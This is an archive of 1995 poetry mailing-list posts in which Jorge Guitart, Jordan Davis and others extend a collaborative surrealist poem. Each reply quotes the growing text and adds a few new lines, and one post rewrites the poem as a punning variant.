> > Sheila wrote
> > Jorge wrote:
> > Sheila wrote
> > Jorge wrote:
> > Sheila wrote:
> > Jorge wrote:
> >
> > Sheila wrote:
> >
> > In the books were dreams and in the dreams were books.And flew
> > through windows '95, lightning green and fine morning
> > First inverted whistle of a cardinal in the poplar
> > The book and the oboe on the grass under sun and cloud
> > Go endlessly, an obtuse Prussian blue, it binds
> > The caravan of windows to what they flee
> > These lace curtains, more gauze than bondage, more
> > Mollycoddled than aware, thin-spined and pebbling
> > but narrow in the waist or waspish Sunday years ago
> > Over coffee topped with whipped lads, the Times blowing
> > & opining, heavy humid air, cum amusing against the
> > bleached ribcage ripcorded into compassed wind accident

> > kissing the weatherwoman between her beasts as she
> > gives gracious problem: fanatical snacks, landscape of
> > flicka son of thunderhead and the storm in the glass of water'
> > s halfway pertinent incision we keep making safe for ignorance
> > (inspection denied for not knowing how credenza was meant) &
> > neo-colonizing pockets in small furniture intended house
> > sequentially several mountains away but it wasn't, you know, a
> > big tango when the attorney general came, selah hales said,
> > "Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
> > Roof" Tobacco warehouse, nada curls no ideas but the woven fabric the
> > texture so to speak was at the dry cleaners piping hot and
> > gloved-in somewhere unsalted, perched on prescience y pues nada
> > the chair is sad, alas, and i've lusted tootles' liversthe odor
> > day toy a cello day dis chevys a bo coo daughter chose encore
> > Flaubert because we're waiting all throughout
> > eternity for moments to be of such suchness,
> > to hold a rattle up, to eat our mommies.
> > In the nooks were creams and in the stream were hooks
> > All melded like striated film leftover in the pastel seeds
> > of darkness falling like a counterirritant around the manchineel.
> > Likewise seams andpaper juxtaposed with seasoned instruments and
> > recently soft fruit of subject's object status, violent
> > transformation la Ste. Therese into beaming cumulus apokoinu
> > switchback and in the u-turns were bookmobiles rounding angles
> > considered shrill as pine left in the acres to be aging
> > flawlessly, flutes sing genderless in trio, surprisedby how quiet
> > effort really is or is not, fast enough to sleep
> > through thunderstorms, arm over thigh until light shakes
> > petals free of names that rain across known skin forgotten
> > alive in our hearse hurts, projective nurse if she is to go ahead
> > and dance, composing instead of straining muscles, far eyes
> > saunter lope pentecost beam operator will you cockpit
> > out, transplanted organs speak, the idiom
> > inseams, a snare as solvently unequal-- the power
> > uncreased although each snare still trembles quantum
> > which explains why the pump is busted and why
> > he preferred whole afternoons on the phone to that
> > crap about not having a cousin on the moon
> > capable of keeping the canoe right way up in the cool
> > prose of the upper Hudson, dinner's at seven so
> > start swimmin, bud: "lay me down in a wetsuit,
> > heats me up in the sleaze," it's like a huge dose

> > of familiarity. I am storing radiance for later use
> > I know the war-whoop in each dusty narrative
> > among the invoices and the difference engines
> > Char, Lee, Parr, Kerr, everybody is here and there
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> > delicate lace flies into pelican Bills in the house
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> > as penitence, but let's elude the shakes and drear, get lost in
> > our palaver have tongue will travel not a binge of harmony which
> > in the end goes meerschaum on us till we blink ourselves to
> > creeping where the sublime is cows bathing in starlight. Give
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> > hidden porchlight in the latitude that she has given his
> > longitude. Depth is directly stated. A signal slated to be read
> > ingratiates politicos and blond ones also shaven vortices but
> > does mangling exist or the circle is balboa plus expenses
> > cabinets away from lust and pedigree and shark fin soup
> > trailing stiffens buying tears for so many tendons
> > demitassed to mean full-bodied wine with alcohol removed
> > by trained leeches from under the rotting elastic, a feast
> > conducted by William Carlos Williams & the Five Snorers--
The Mothers of Pathos and Pity opened for them, & it was

↑ Index

396. **Jorge Guitart**

Re: this break will or will not not branch

Wed 13 Sep 1995

On Tue, 12 Sep 1995, Scott Krieger wrote:

> > > In the books were dreams and in the dreams were books.And flew
> > > through windows '95, lightning green and fine morning
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> > > These lace curtains, more gauze than bondage, more
> > > Mollycoddled than aware, thin-spined and pebbling
> > > but narrow in the waist or waspish Sunday years ago
> > > Over coffee topped with whipped lads, the Times blowing

> > > & opining, heavy humid air, cum amusing against the
> > > bleached ribcage ripcorded into compassed wind
> > > kissing the weatherwoman between her beasts as she
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> > > flawlessly, flutes sing genderless in trio, surprisedby how quiet
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> > > through thunderstorms, arm over thigh until light shakes
> > > petals free of names that rain across known skin forgotten
> > > alive in our hearse hurts, projective nurse if she is to go ahead
> > > and dance, composing instead of straining muscles, far eyes
> > > saunter lope pentecost beam operator will you cockpit
> > > out, transplanted organs speak, the idiom
> > > inseams, a snare as solvently unequal-- the power
> > > uncreased although each snare still trembles quantum
> > > which explains why the pump is busted and why
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> > > our palaver have tongue will travel not a binge of harmony which
> > > in the end goes meerschaum on us till we blink ourselves to
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> > > hidden porchlight in the latitude that she has given his
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> > > does mangling exist or the circle is balboa plus expenses
> > > cabinets away from lust and pedigree and shark fin soup
> > > trailing stiffens buying tears for so many tendons
> > > demitassed to mean full-bodied wine with alcohol removed
> > > by trained leeches from under the rotting elastic, a feast
> > > of swirling eddies with beaucoup of labia & confetti
> in the black stone cavity behind the swamphouse where we keep
> the papers with the blue seals and the green bottles gone rank
 i was chewing on the iguana and sister angelica on the cameo

↑ Index

397. Jorge Guitart
Re: Sheila & Jorge's Excellent Adventure
Wed 13 Sep 1995

On Tue, 12 Sep 1995, Charles Alexander wrote:

> >> In the books were dreams and in the dreams were books.
> >>And flew through windows, lightning green and fine morning
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> >> Mollycoddled than aware, thin-spined and pebbling
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> >> kissing the weatherwoman between her beasts as she
> >> gives gracious problem: fanatical snacks, landscape of
> >> flicka son of thunderhead and the storm in the glass of water'
> >> s halfway pertinent incision we keep making safe for ignorance
> >> (inspection denied for not knowing how credenza was meant) &
> >> neo-colonizing pockets in small furniture intended house
> >> sequentially several mountains away but it wasn't, you know, a
> >> big tango when the attorney general came, selah hales said,
> >> "Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
> >> Roof" Tobacco warehouse, nada curls no ideas but the woven fabric the
> >> texture so to speak was at the dry cleaners piping hot and
> >> gloved-in somewhere unsalted, perched on prescience y pues nada
> >> the chair is sad, alas, and i've lusted tootles' liversthe odor
> >> day toy a cello day dis chevys a bo coo daughter chose encore
> >> Flaubert because we're waiting all throughout
> >> eternity for moments to be of such suchness,
> >> to hold a rattle up, to eat our mommies.
> >> In the nooks were creams and in the stream were hooks
> >> All melded like striated film leftover in the pastel seeds
> >> of darkness falling like a counterirritant around the manchineel.
> >> Likewise seams andpaper juxtaposed with seasoned instruments and
> >> recently soft fruit of subject's object status, violent
> >> transformation la Ste. Therese into beaming cumulus apokoinu
> >> switchback and in the u-turns were bookmobiles rounding angles
> >> considered shrill as pine left in the acres to be aging
> >> flawlessly, flutes sing genderless in trio, surprisedby how quiet
> >> effort really is or is not, fast enough to sleep
> >> through thunderstorms, arm over thigh until light shakes
> >> petals free of names that rain across known skin forgotten
> >> alive in our hearse hurts, projective nurse if she is to go ahead
> >> and dance, composing instead of straining muscles, far eyes
> >> saunter lope pentecost beam operator will you cockpit
> >> out, transplanted organs speak, the idiom
> >> inseams, a snare as solvently unequal-- the power
> >> uncreased although each snare still trembles quantum
> >> which explains why the pump is busted and why
> >> he preferred whole afternoons on the phone to that

> >> crap about not having a cousin on the moon
> >> capable of keeping the canoe right way up in the cool
> >> prose of the upper Hudson, dinner's at seven so
> >> start swimmin, bud: "lay me down in a wetsuit,
> >> heats me up in the sleaze," it's like a huge dose
> >> of familiarity. I am storing radiance for later use
> >> I know the war-whoop in each dusty narrative
> >> among the invoices and the difference engines
> >> Char, Lee, Parr, Kerr, everybody is here and there
> >> collecting the stamp hinges that come in on the breeze
> >> delicate lace flies into pelican Bills in the house
> >> of narration with partners of good moisture. Here,touch my
> >> ebullience with a token gesture of sauce, of the red stuff.
> >> I have a lot of duende in the freezer & we can defrost some
> >> woods on a snowy evening, my horse is lovely dark and deep
> >> as penitence, but let's elude the shakes and drear, get lost in
> >> our palaver have tongue will travel not a binge of harmony which
> >> in the end goes meerschaum on us till we blink ourselves to
> >> creeping where the sublime is cows bathing in starlight. Give
> >> temporality a rest, for widest space succombs to onslaughts of
> >> hidden porchlight in the latitude that she has given his
> >> longitude. Depth is directly stated. A signal slated to be read
> >> ingratiates politicos and blond ones also shaven vortices but
> >> does mangling exist or the circle is balboa plus expenses
> >> cabinets away from lust and pedigree and shark fin soup
> >> trailing stiffens buying tears for so many tendons
> >> demitassed to mean full-bodied wine with alcohol removed
> >> by trained leeches from under the rotting elastic, a feast
> >> conducted by William Carlos Williams & the Five Snorers,
> laying on rocks in the wind, dissonance the order of our day
  whereas earlier pieces had emphasized the slow brutality of time

↑ Index

398. Jorge Guitart
Re: Sheila & Jorge's Excellent Adventure
Wed 13 Sep 1995

  Sheila wrote
> Jorge wrote:
> > Sheila wrote
> >> Jorge wrote:
> >> >Sheila wrote

> >> >Jorge wrote:
> >> >Sheila wrote
> >> >Jorge wrote:
> >> >Sheila wrote:
> >> >Jorge wrote:
> >> >
> >> >In the books were dreams and in the dreams were books.And flew
> >> >through windows '95, lightning green and fine morning
> >> >First inverted whistle of a cardinal in the poplar
> >> >The book and the oboe on the grass under sun and cloud
> >> >Go endlessly, an obtuse Prussian blue, it binds
> >> >The caravan of windows to what they flee
> >> >These lace curtains, more gauze than bondage, more
> >> >Mollycoddled than aware, thin-spined and pebbling
> >> >but narrow in the waist or waspish Sunday years ago
> >> >Over coffee topped with whipped lads, the Times blowing
> >> >& opining, heavy humid air, cum amusing against the
> >> >bleached ribcage ripcorded into compassed wind
> >> >kissing the weatherwoman between her beasts as she
> >> >gives gracious problem: fanatical snacks, landscape of
> >> >flicka son of thunderhead and the storm in the glass of water'
> >> >s halfway pertinent incision we keep making safe for ignorance
> >> >(inspection denied for not knowing how credenza was meant) &
> >> >neo-colonizing pockets in small furniture intended house
> >> >sequentially several mountains away but it wasn't, you know, a
> >> >big tango when the attorney general came, selah hales said,
> >> >"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
> >> >Roof" Tobacco warehouse, curls no ideas but the woven fabric the
> >> >texture so to speak was at the dry cleaners piping hot and
> >> >gloved-in somewhere unsalted, perched on prescience
> >> >the chair is sad, alas, and i've lusted tootles' liversthe odor
> >> >day toy a cello day dis chevys a bo coo daughter chose encore
> >> >Flaubert because we're waiting all throughout
> >> >eternity for moments to be of such suchness.
> >> >In the nooks were creams and in the stream were hooks
> >> >All melded like striated film leftover in the pastel seeds
> >> >of darkness falling like a counterirritant around the manchineel.
> >> >Likewise seams andpaper juxtaposed with seasoned instruments and
> >> >recently soft fruit of subject's object status, violent
> >> >transformation la Ste. Therese into beaming cumulus apokoinu
> >> >switchback and in the u-turns were bookmobiles rounding angles
> >> >considered shrill as pine left in the acres to be aging

> >> >flawlessly, flutes sing genderless in trio, surprisedby how quiet
> >> >effort really is or is not, fast enough to sleep
> >> >through thunderstorms, arm over thigh until light shakes
> >> >petals free of names that rain across known skin forgotten
> >> >alive in our hearse hurts, projective nurse if she is to go ahead
> >> >and dance, composing instead of straining muscles, far eyes
> >> >saunter lope pentecost beam operator will you cockpit
> >> >out, transplanted organs speak, the idiom
> >> >inseams, a snare as solvently unequal-- the power
> >> >uncreased although each snare still trembles quantum
> >> >which explains why the pump is busted and why
> >> >he preferred whole afternoons on the phone to that
> >> >crap about not having a cousin on the moon
> >> >capable of keeping the canoe right way up in the cool
> >> >prose of the upper Hudson, dinner's at seven so
> >> >start swimmin, bud: "lay me down in a wetsuit,
> >> >heats me up in the sleaze," it's like a huge dose
> >> >of familiarity. I am storing radiance for later use
> >> >I know the war-whoop in each dusty narrative
> >> >among the invoices and the difference engines
> >> >Char, Lee, Parr, Kerr, everybody is here and there
> >> >collecting the stamp hinges that come in on the breeze
> >> >delicate lace flies into pelican Bills in the house
> >> >of narration with partners of good moisture. Here,touch my
> >> >ebullience with a token gesture of sauce, of the red stuff.
> >> >I have a lot of duende in the freezer & we can defrost some
> >> >woods on a snowy evening, my horse is lovely dark and deep
> >> >as penitence, but let's elude the shakes and drear, get lost in
> >> >our palaver have tongue will travel not a binge of harmony which
> >> >in the end goes meerschaum on us till we blink ourselves to
> >> >creeping where the sublime is cows bathing in starlight. Give
> >> >temporality a rest, for widest space succombs to onslaughts of
> >> >hidden porchlight in the latitude that she has given his
> >> >longitude. Depth is directly stated. A signal slated to be read
> >> >ingratiates politicos and blond ones also shaven vortices but
> >> >does mangling exist or the circle is balboa plus expenses
> >> >cabinets away from lust and pedigree and shark fin soup
> >> >trailing stiffens buying tears for so many tendons
> >> demitassed to mean full-bodied wine with alcohol removed
> >spending the bulk of closure with sentient scoops
> threatening to have been arrested when the party wasn't looking
> wanting to hitch a ride back to Los Genitales (in the boondocks)

↑ Index

399. **Jordan Davis.**

Re: Sheila & Jorge's Excellent Adventure

Wed 13 Sep 1995

>> >In the books were dreams and in the dreams were books.And flew
>> >through windows '95, lightning green and fine morning
>> >First inverted whistle of a cardinal in the poplar
>> >The book and the oboe on the grass under sun and cloud
>> >Go endlessly, an obtuse Prussian blue, it binds
>> >The caravan of windows to what they flee
>> >These lace curtains, more gauze than bondage, more
>> >Mollycoddled than aware, thin-spined and pebbling
>> >but narrow in the waist or waspish Sunday years ago
>> >Over coffee topped with whipped lads, the Times blowing
>> >& opining, heavy humid air, cum amusing against the
>> >bleached ribcage ripcorded into compassed wind
>> >kissing the weatherwoman between her beasts as she
>> >gives gracious problem: fanatical snacks, landscape of
>> >flicka son of thunderhead and the storm in the glass of water'
>> >s halfway pertinent incision we keep making safe for ignorance
>> >(inspection denied for not knowing how credenza was meant) &
>> >neo-colonizing pockets in small furniture intended house
>> >sequentially several mountains away but it wasn't, you know, a
>> >big tango when the attorney general came, selah hales said,
>> >"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
>> >Roof" Tobacco warehouse, curls no ideas but the woven fabric the
>> >texture so to speak was at the dry cleaners piping hot and
>> >gloved-in somewhere unsalted, perched on prescience
>> >the chair is sad, alas, and i've lusted tootles' liversthe odor
>> >day toy a cello day dis chevys a bo coo daughter chose encore
>> >Flaubert because we're waiting all throughout
>> >eternity for moments to be of such suchness.
>> >In the nooks were creams and in the stream were hooks
>> >All melded like striated film leftover in the pastel seeds
>> >of darkness falling like a counterirritant around the manchineel.
>> >Likewise seams andpaper juxtaposed with seasoned instruments and
>> >recently soft fruit of subject's object status, violent
>> >transformation la Ste. Therese into beaming cumulus apokoinu
>> >switchback and in the u-turns were bookmobiles rounding angles
>> >considered shrill as pine left in the acres to be aging
>> >flawlessly, flutes sing genderless in trio, surprisedby how quiet

>> >effort really is or is not, fast enough to sleep
>> >through thunderstorms, arm over thigh until light shakes
>> >petals free of names that rain across known skin forgotten
>> >alive in our hearse hurts, projective nurse if she is to go ahead
>> >and dance, composing instead of straining muscles, far eyes
>> >saunter lope pentecost beam operator will you cockpit
>> >out, transplanted organs speak, the idiom
>> >inseams, a snare as solvently unequal-- the power
>> >uncreased although each snare still trembles quantum
>> >which explains why the pump is busted and why
>> >he preferred whole afternoons on the phone to that
>> >crap about not having a cousin on the moon
>> >capable of keeping the canoe right way up in the cool
>> >prose of the upper Hudson, dinner's at seven so
>> >start swimmin, bud: "lay me down in a wetsuit,
>> >heats me up in the sleaze," it's like a huge dose
>> >of familiarity. I am storing radiance for later use
>> >I know the war-whoop in each dusty narrative
>> >among the invoices and the difference engines
>> >Char, Lee, Parr, Kerr, everybody is here and there
>> >collecting the stamp hinges that come in on the breeze
>> >delicate lace flies into pelican Bills in the house
>> >of narration with partners of good moisture. Here,touch my
>> >ebullience with a token gesture of sauce, of the red stuff.
>> >I have a lot of duende in the freezer & we can defrost some
>> >woods on a snowy evening, my horse is lovely dark and deep
>> >as penitence, but let's elude the shakes and drear, get lost in
>> >our palaver have tongue will travel not a binge of harmony which
>> >in the end goes meerschaum on us till we blink ourselves to
>> >creeping where the sublime is cows bathing in starlight. Give
>> >temporality a rest, for widest space succombs to onslaughts of
>> >hidden porchlight in the latitude that she has given his
>> >longitude. Depth is directly stated. A signal slated to be read
>> >ingratiates politicos and blond ones also shaven vortices but
>> >does mangling exist or the circle is balboa plus expenses
>> >cabinets away from lust and pedigree and shark fin soup
>> >trailing stiffens buying tears for so many tendons
>> demitassed to mean full-bodied wine with alcohol removed
>spending the bulk of closure with sentient scoops
threatening to have been arrested when the party wasn't looking
and it's back to deuce. There's the lovely Mrs. Churchyard

↑ Index

400. **Jordan Davis.**
Re: Sheila & Jorge's Excellent Adventure
Wed 13 Sep 1995

>> >In the books were dreams and in the dreams were books.And flew
>> >through windows '95, lightning green and fine morning
>> >First inverted whistle of a cardinal in the poplar
>> >The book and the oboe on the grass under sun and cloud
>> >Go endlessly, an obtuse Prussian blue, it binds
>> >The caravan of windows to what they flee
>> >These lace curtains, more gauze than bondage, more
>> >Mollycoddled than aware, thin-spined and pebbling
>> >but narrow in the waist or waspish Sunday years ago
>> >Over coffee topped with whipped lads, the Times blowing
>> >& opining, heavy humid air, cum amusing against the
>> >bleached ribcage ripcorded into compassed wind
>> >kissing the weatherwoman between her beasts as she
>> >gives gracious problem: fanatical snacks, landscape of
>> >flicka son of thunderhead and the storm in the glass of water'
>> >s halfway pertinent incision we keep making safe for ignorance
>> >(inspection denied for not knowing how credenza was meant) &
>> >neo-colonizing pockets in small furniture intended house
>> >sequentially several mountains away but it wasn't, you know, a
>> >big tango when the attorney general came, selah hales said,
>> >"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
>> >Roof" Tobacco warehouse, curls no ideas but the woven fabric the
>> >texture so to speak was at the dry cleaners piping hot and
>> >gloved-in somewhere unsalted, perched on prescience
>> >the chair is sad, alas, and i've lusted tootles' liversthe odor
>> >day toy a cello day dis chevys a bo coo daughter chose encore
>> >Flaubert because we're waiting all throughout
>> >eternity for moments to be of such suchness.
>> >In the nooks were creams and in the stream were hooks
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>> >Likewise seams andpaper juxtaposed with seasoned instruments and
>> >recently soft fruit of subject's object status, violent
>> >transformation la Ste. Therese into beaming cumulus apokoinu
>> >switchback and in the u-turns were bookmobiles rounding angles
>> >considered shrill as pine left in the acres to be aging
>> >flawlessly, flutes sing genderless in trio, surprisedby how quiet
>> >effort really is or is not, fast enough to sleep

>> >through thunderstorms, arm over thigh until light shakes
>> >petals free of names that rain across known skin forgotten
>> >alive in our hearse hurts, projective nurse if she is to go ahead
>> >and dance, composing instead of straining muscles, far eyes
>> >saunter lope pentecost beam operator will you cockpit
>> >out, transplanted organs speak, the idiom
>> >inseams, a snare as solvently unequal-- the power
>> >uncreased although each snare still trembles quantum
>> >which explains why the pump is busted and why
>> >he preferred whole afternoons on the phone to that
>> >crap about not having a cousin on the moon
>> >capable of keeping the canoe right way up in the cool
>> >prose of the upper Hudson, dinner's at seven so
>> >start swimmin, bud: "lay me down in a wetsuit,
>> >heats me up in the sleaze," it's like a huge dose
>> >of familiarity. I am storing radiance for later use
>> >I know the war-whoop in each dusty narrative
>> >among the invoices and the difference engines
>> >Char, Lee, Parr, Kerr, everybody is here and there
>> >collecting the stamp hinges that come in on the breeze
>> >delicate lace flies into pelican Bills in the house
>> >of narration with partners of good moisture. Here,touch my
>> >ebullience with a token gesture of sauce, of the red stuff.
>> >I have a lot of duende in the freezer & we can defrost some
>> >woods on a snowy evening, my horse is lovely dark and deep
>> >as penitence, but let's elude the shakes and drear, get lost in
>> >our palaver have tongue will travel not a binge of harmony which
>> >in the end goes meerschaum on us till we blink ourselves to
>> >creeping where the sublime is cows bathing in starlight. Give
>> >temporality a rest, for widest space succombs to onslaughts of
>> >hidden porchlight in the latitude that she has given his
>> >longitude. Depth is directly stated. A signal slated to be read
>> >ingratiates politicos and blond ones also shaven vortices but
>> >does mangling exist or the circle is balboa plus expenses
>> >cabinets away from lust and pedigree and shark fin soup
>> >trailing stiffens buying tears for so many tendons
>> demitassed to mean full-bodied wine with alcohol removed
>spending the bulk of closure with sentient scoops
that fluke picnic shot out of these worlds we spread been-to
ach she's outside with the rummage, better get

↑ Index

401. **Jordan Davis.**
Re: this break will or will not not branch
Wed 13 Sep 1995

>In the books were dreams and in the dreams were books.
>And flew through windows lightning green and fine morning
>First inverted whistle of a cardinal in the poplar
>The book and the oboe on the grass under sun and cloud
>Go endlessly, an obtuse Prussian blue, it binds
>The caravan of windows to what they flee
>These lace curtains, more gauze than bondage, more
>Mollycoddled than aware, thin-spined and pebbling
>but narrow in the waist or waspish Sunday years ago
>Over coffee topped with whipped lads, the Times blowing
>& opining, heavy humid air, cum amusing against the
>bleached ribcage ripcorded into compassed wind
>kissing the weatherwoman between her beasts as she
>gives gracious problem: fanatical snacks, landscape of
>flicka son of thunderhead and the storm in the glass of water's
>halfway pertinent incision we keep making safe for ignorance
>(inspection denied for not knowing how credenza was meant) &
>neo-colonizing pockets in small furniture intended house
>sequentially several mountains away but it wasn't, you know, a
>big tango when the attorney general came, selah hales said,
>"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
>Roof" Tobacco warehouse, curls no ideas but the woven fabric the
>texture so to speak was at the dry cleaners piping hot and
>gloved-in somewhere unsalted, perched on prescience
>the chair is sad, alas, and i've lusted tootles' liversthe odor
>day toy a cello day dis chevys a bo coo daughter chose encore
>Flaubert because we're waiting all throughout
>eternity for moments to be of such suchness.
>In the nooks were creams and in the stream were hooks
>All melded like striated film leftover in the pastel seeds
>of darkness falling like a counterirritant around the manchineel.
>Likewise seams andpaper juxtaposed with seasoned instruments and
>recently soft fruit of subject's object status, violent
>transformation la Ste. Therese into beaming cumulus apokoinu
>switchback and in the u-turns were bookmobiles rounding angles
>considered shrill as pine left in the acres to be aging
>flawlessly, flutes sing genderless in trio, surprisedby how quiet
>effort really is or is not, fast enough to sleep

>through thunderstorms, arm over thigh until light shakes
>petals free of names that rain across known skin forgotten
>alive in our hearse hurts, projective nurse if she is to go ahead
>and dance, composing instead of straining muscles, far eyes
>saunter lope pentecost beam operator will you cockpit
>out, transplanted organs speak, the idiom
>inseams, a snare as solvently unequal-- the power
>uncreased although each snare still trembles quantum
>which explains why the pump is busted and why
>he preferred whole afternoons on the phone to that
>crap about not having a cousin on the moon
>capable of keeping the canoe right way up in the cool
>prose of the upper Hudson, dinner's at seven so
>start swimmin, bud: "lay me down in a wetsuit,
>heats me up in the sleaze," it's like a huge dose
>of familiarity. I am storing radiance for later use
>I know the war-whoop in each dusty narrative
>among the invoices and the difference engines
>Char, Lee, Parr, Kerr, everybody is here and there
>collecting the stamp hinges that come in on the breeze
>delicate lace flies into pelican Bills in the house
>of narration with partners of good moisture. Here,touch my
>ebullience with a token gesture of sauce, of the red stuff.
>I have a lot of duende in the freezer & we can defrost some
>woods on a snowy evening, my horse is lovely dark and deep
>as penitence, but let's elude the shakes and drear, get lost in
>our palaver have tongue will travel not a binge of harmony which
>in the end goes meerschaum on us till we blink ourselves to
>creeping where the sublime is cows bathing in starlight. Give
>temporality a rest, for widest space succombs to onslaughts of
>hidden porchlight in the latitude that she has given his
>longitude. Depth is directly stated. A signal slated to be read
>ingratiates politicos and blond ones also shaven vortices but
>does mangling exist or the circle is balboa plus expenses
>cabinets away from lust and pedigree and shark fin soup
>trailing stiffens buying tears for so many tendons
>demitassed to mean full-bodied wine with alcohol removed
>by trained leeches from under the rotting elastic, a feast
>of swirling eddies with beaucoup of labia & confetti
>starving time's scythe for water, matching colors to go
crecheward into sweet line drawings clothed to world our
repapered with farinaceous pictures of the king

↑ Index

402. Jordan Davis.
fugazi redshifter approaching colossus
Wed 13 Sep 1995

> > >In the books were dreams and in the dreams were books.And flew
> > >through windows '95, lightning green and fine morning
> > >First detrevni whistle of a cardinal in the poplar
> > >The book and the old boy on the grass under sun and cloud
> > >Go endless, an obtuse cellar blue, it binds
> > >The caravan of endowments to what they flee
> > >These space curtains, more gauze than bondage, more
> > >Boloed than aware, spin-art and pebbling
> > >but narrow in the face or foppish Sunday Hilda oh!
> > >Over coffee chopped with kissed lads, the Times blowing
> > >& opining, heavy humid air, we musing against the
> > >bleached ribcage ripcorded into compassed wind
> > >missing the violinist between her rests as she
> > >indexes fracas problem: tool shacks, landscape of
> > >Zorro son of thunderhead and the storm in the steel glass
> > >s halfway pertinent incision we keep making
> > >(I denied not knowing how cadenza was meant) &
> > >Neapolitan pockets in small furniture intended house
> > >chance several mountains away but it wasn't, you know, a
> > >big tango when the attorney general came, said amen,
> > >"Dias,oh, ho kook!"Xanthippe Ellington! "Tootin' Through the
> > >Roof" Tobacco warehouse, curls no rabbit rabbit rabbit rabbit
> > >texture so to speak was at the cleaners hot and
> > >stubble somewhere unnoticed, chirping presence
> > >the chair is sad, alas, and i've lusted tootles' livers the
> > >detour a cello a day dishevels a boat cold otter chose in the core
> > >slaughter because we're waiting all throughout
> > >eternity for solos to be of such suchness.
> > >In the nooks were creams and in the stream were hooks
> > >All models like films about their friends in pastel
> > >of darkness falling like an afghan around the manatee.
> > >Likewise seems sandpaper huckster with seesaw inchworms and
> > >recently soft brute of subject's object status, violent
> > >transformation la Ste. Therese into beaming cumulus hapax
> > >switchback and in the u-turns were bookmobiles rounding angels
> > >considered shrill as I'm left in the acres to be aging
> > >flutes sing fender-benderless in trio, h-h-h-holy cow!

> > >effort really is or is not, fast enough to sleep
> > >through thunderstorms, arm over thigh until light shakes
> > >petals free of names that rain across known skin forgotten
> > >alive in our hearse hurts, projective nurse if she is to go ahead
> > >And, with a shout, collecting coat hangers
> > >saunter lope pentecost Timon of Athens operator will you cockpit
> > >out, transplanted organs speak, "arf!" the idiom
> > >inseams, a snare as solvently unequal-- the power
> > >uncreased although each snare still trembles QuarkXpress
> > >which explains why the sump is busted and why
> > >he preferred Hole to afternoons on the phone with that
> > >carp, a cousin on the moon, remember the needy
> > >capable of keeping the canoe right way up in the cool
> > >prose of the upper Hudson, dinner's at seven so
> > >start swimmin, bud: "lay me down in a wetsuit,
> > >heats me up the porridge," it's like a huge typo
> > >of familiarity. I am storing valence for later use
> > >I know the war-whoop in each dusty arrogance
> > >among the choruses and the different people
> > >Char, Lee, Parr, Kerr, everybody is Hokey Pokey
> > >collecting the very boring nouns that come in on the breeze
> > >delicate lace flies tied by Pelican Bill, yo, in the house,
> > >of narration with part of good moisture. Here, bile, sopor,
> > >ebullience is a token gesture of the sauced, Red Stuff.
> > >I have a lot of duodenum. In the freezer we can defend some
> > >woods on a snowy evening, my yellow rose is lovely dark and deep
> > >as penitence, but let's elude the shakes and drear, get lost in
> > >our palaver. Have? Will not a binge of harmony which
> > >in the end go "meerschaum" on us till we Tempest ourselves to
> > >bearings where the heiress is cows bathing in starlight. Give
> > >the poor temp a rest, for widest space succombs to onslaughts of
> > >hidden porchlight in the platitude that she has given his
> > >longitude. Depth is directly stated. A signal slated to be canonized
> > >elevates politicos and blond ones also raving vortices but
> > >does hang-gliding exist or is the circle a bulb of "plus" expenses
> > >cabins away from "Flash and Filligree" and "Goat's Head Soup"
> > >travel stiffly by the tears for so many tendons
> > documentary to mean full body winter with alcohol removed
> sending the bulk of closure with sentient loops
> but my nerves are excellent tonight: I fired Mr. Churchyard
in the coin-op kiln on Sullen Street with my Saint Chris

↑ Index

403. **Jordan Davis.**
big local news
Wed 13 Sep 1995

> > In the books were dreams and in the dreams were books.And flew
> > through windows '95, lightning green and fine morning
> > First inverted whistle of a cardinal in the poplar
> > The book and the oboe on the grass under sun and cloud
> > Go endlessly, an obtuse Prussian blue, it binds
> > The caravan of windows to what they flee
> > These lace curtains, more gauze than bondage, more
> > Mollycoddled than aware, thin-spined and pebbling
> > but narrow in the waist or waspish Sunday years ago
> > Over coffee topped with whipped lads, the Times blowing
> > & opining, heavy humid air, cum amusing against the
> > bleached ribcage ripcorded into compassed wind accident
> > kissing the weatherwoman between her beasts as she
> > gives gracious problem: fanatical snacks, landscape of
> > flicka son of thunderhead and the storm in the glass of water'
> > s halfway pertinent incision we keep making safe for ignorance
> > (inspection denied for not knowing how credenza was meant) &
> > neo-colonizing pockets in small furniture intended house
> > sequentially several mountains away but it wasn't, you know, a
> > big tango when the attorney general came, selah hales said,
> > "Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
> > Roof" Tobacco warehouse, nada curls no ideas but the woven fabric the
> > texture so to speak was at the dry cleaners piping hot and
> > gloved-in somewhere unsalted, perched on prescience y pues nada
> > the chair is sad, alas, and i've lusted tootles' liversthe odor
> > day toy a cello day dis chevys a bo coo daughter chose encore
> > Flaubert because we're waiting all throughout
> > eternity for moments to be of such suchness,
> > to hold a rattle up, to eat our mommies.
> > In the nooks were creams and in the stream were hooks
> > All melded like striated film leftover in the pastel seeds
> > of darkness falling like a counterirritant around the manchineel.
> > Likewise seams andpaper juxtaposed with seasoned instruments and
> > recently soft fruit of subject's object status, violent
> > transformation la Ste. Therese into beaming cumulus apokoinu
> > switchback and in the u-turns were bookmobiles rounding angles
> > considered shrill as pine left in the acres to be aging
> > flawlessly, flutes sing genderless in trio, surprisedby how quiet

> > effort really is or is not, fast enough to sleep
> > through thunderstorms, arm over thigh until light shakes
> > petals free of names that rain across known skin forgotten
> > alive in our hearse hurts, projective nurse if she is to go ahead
> > and dance, composing instead of straining muscles, far eyes
> > saunter lope pentecost beam operator will you cockpit
> > out, transplanted organs speak, the idiom
> > inseams, a snare as solvently unequal-- the power
> > uncreased although each snare still trembles quantum
> > which explains why the pump is busted and why
> > he preferred whole afternoons on the phone to that
> > crap about not having a cousin on the moon
> > capable of keeping the canoe right way up in the cool
> > prose of the upper Hudson, dinner's at seven so
> > start swimmin, bud: "lay me down in a wetsuit,
> > heats me up in the sleaze," it's like a huge dose
> > of familiarity. I am storing radiance for later use
> > I know the war-whoop in each dusty narrative
> > among the invoices and the difference engines
> > Char, Lee, Parr, Kerr, everybody is here and there
> > collecting the stamp hinges that come in on the breeze
> > delicate lace flies into pelican Bills in the house
> > of narration with partners of good moisture. Here,touch my
> > ebullience with a token gesture of sauce, of the red stuff.
> > I have a lot of duende in the freezer & we can defrost some
> > woods on a snowy evening, my horse is lovely dark and deep
